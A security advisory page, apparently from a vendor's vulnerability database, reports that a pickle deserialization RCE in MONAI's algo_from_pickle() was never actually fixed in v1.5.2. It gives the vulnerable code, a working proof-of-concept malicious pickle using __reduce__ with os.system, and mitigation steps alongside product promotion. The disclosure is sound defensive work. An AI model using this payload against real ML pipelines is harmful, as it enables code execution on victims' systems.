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HIGH severity

GHSA-qxq5-qhx6-94qw

HIGH

GHSA-qxq5-qhx6-94qw is a high-severity (CVSS 7.8) remote code execution vulnerability in monai. O3 Security confirms whether GHSA-qxq5-qhx6-94qw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch

Published
Aug 18, 2026
Updated
Aug 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 18, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍monai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImonaiall versions1.6.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update monai to 1.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qxq5-qhx6-94qw is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-qxq5-qhx6-94qw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-qxq5-qhx6-94qw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py` has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was never implemented. ## Vulnerable Code File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2) ```python def algo_from_pickle(pkl_filename: str, ...): with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() dat
O3 Security · Impact-Aware SCA

Is GHSA-qxq5-qhx6-94qw in your dependencies?

O3 detects GHSA-qxq5-qhx6-94qw across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.